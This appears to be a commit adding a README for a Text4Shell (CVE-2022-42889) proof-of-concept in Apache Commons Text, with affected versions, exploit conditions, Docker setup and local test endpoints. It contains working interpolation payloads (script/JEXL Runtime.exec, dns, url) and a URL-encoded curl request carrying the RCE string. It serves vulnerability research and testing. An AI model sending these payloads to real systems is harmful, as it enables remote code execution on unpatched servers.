|
| 1 | +# CVE-2022-42889 aka text4shell |
| 2 | + |
| 3 | +PoC for recently discovered vulnerability in Apache Commons Text by @pwntester (https://github.com/pwntester): https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/ |
| 4 | + |
| 5 | +As mentioned in https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/: |
| 6 | +>The vulnerability exists in the StringSubstitutor interpolator object. An interpolator is created by the StringSubstitutor.createInterpolator() method and will allow for string lookups as defined in the StringLookupFactory. This can be used by passing a string “${prefix:name}” where the prefix is the aforementioned lookup. Using the “script”, “dns”, or “url” lookups would allow a crafted string to execute arbitrary scripts when passed to the interpolator object. |
| 7 | +
|
| 8 | +# Affected versions |
| 9 | +The affected Apache Commons Text versions are 1.5 through 1.9. |
| 10 | +It has been patched in version 1.10. |
| 11 | + |
| 12 | +# Conditions to be exploited |
| 13 | +- Run a version of Apache Commons Text from version 1.5 to 1.9 |
| 14 | +- Use the StringSubstitutor interpolator class (https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html) |
| 15 | + |
| 16 | +To be remotely exploited, attacker controlled input must be used as input for the StringSubstitutor interpolation. In particular, in StringSubstitutor.replace() or StringSubstitutor.replaceIn() methods |
| 17 | + |
| 18 | +# Other javascript script engines |
| 19 | +Since JDK 15 the Nashorn JavaScript Engine was removed: https://openjdk.org/jeps/372. |
| 20 | +But if third parties dependencies are included such as JEXL, RCE in Apache Commnos Text could happen (https://twitter.com/pwntester/status/1582321752566161409) |
| 21 | + |
| 22 | +# Exploitation |
| 23 | +## script interpolator |
| 24 | +It can be exploited to gain RCE. |
| 25 | + |
| 26 | +### JDK < 15 |
| 27 | +``` |
| 28 | +{java:version} ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')} |
| 29 | +``` |
| 30 | +### JDK 15+ |
| 31 | +If using third party JEXL: |
| 32 | +``` |
| 33 | +{java:version} ${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')} |
| 34 | +``` |
| 35 | + |
| 36 | +## dns interpolator |
| 37 | +It can lead to a DNS lookup: |
| 38 | + |
| 39 | +``` |
| 40 | +${dns:address|commons.apache.org} |
| 41 | +``` |
| 42 | + |
| 43 | +## url interpolator |
| 44 | +It connects to the specified URL and tries to fetch the content: |
| 45 | + |
| 46 | +``` |
| 47 | +${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889 |
| 48 | +``` |
| 49 | + |
| 50 | +Template based on https://start.spring.io/ |
| 51 | + |
| 52 | +# Manual compilation of PoC |
| 53 | +``` |
| 54 | +mvn clean package -DskipTests |
| 55 | +java -jar spring-boot-0.0.1-SNAPSHOT.jar |
| 56 | +``` |
| 57 | + |
| 58 | +# Running app in Docker |
| 59 | + |
| 60 | +## Using JVM 11 |
| 61 | +``` |
| 62 | +sudo docker build -t text4shell . -f Dockerfile.Java11 |
| 63 | +sudo docker run -p 8080:8080 text4shell |
| 64 | +``` |
| 65 | + |
| 66 | +## Using JVM 19 |
| 67 | +``` |
| 68 | +sudo docker build -t text4shell . -f Dockerfile.Java19 |
| 69 | +sudo docker run -p 8080:8080 text4shell |
| 70 | +``` |
| 71 | + |
| 72 | +# Provided POCs |
| 73 | + |
| 74 | +There are different endpoints provided to test for the different attack vectors mentioned. |
| 75 | + |
| 76 | +## /poc1 |
| 77 | +``` |
| 78 | +curl http://localhost:8080/poc1 |
| 79 | +``` |
| 80 | + |
| 81 | +## /poc2 |
| 82 | +``` |
| 83 | +curl http://localhost:8080/poc2 |
| 84 | +``` |
| 85 | + |
| 86 | +## /poc3 |
| 87 | +``` |
| 88 | +curl http://localhost:8080/poc3 |
| 89 | +``` |
| 90 | + |
| 91 | +## /message?text= |
| 92 | +``` |
| 93 | +curl http://localhost:8080/message |
| 94 | +curl http://localhost:8080/message?text=1 |
| 95 | +curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D |
| 96 | +``` |
| 97 | + |
| 98 | +# References |
| 99 | +https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/ |
| 100 | +https://sysdig.com/blog/cve-2022-42889-text4shell/ |
| 101 | +https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/ |
| 102 | +https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/ |
| 103 | +https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html |
| 104 | +https://twitter.com/pwntester/status/1583189642471706624 |
| 105 | +https://twitter.com/pyn3rd/status/1582729285005037568 |
| 106 | + |
| 107 | +# Credits to other PoCs |
| 108 | +https://github.com/SeanWrightSec/CVE-2022-42889-PoC/ |
| 109 | +https://github.com/korteke/CVE-2022-42889-POC |
| 110 | +https://github.com/karthikuj/cve-2022-42889-text4shell-docker |
| 111 | +https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php |
| 112 | +https://github.com/kljunowsky/CVE-2022-42889-text4shell |
0 commit comments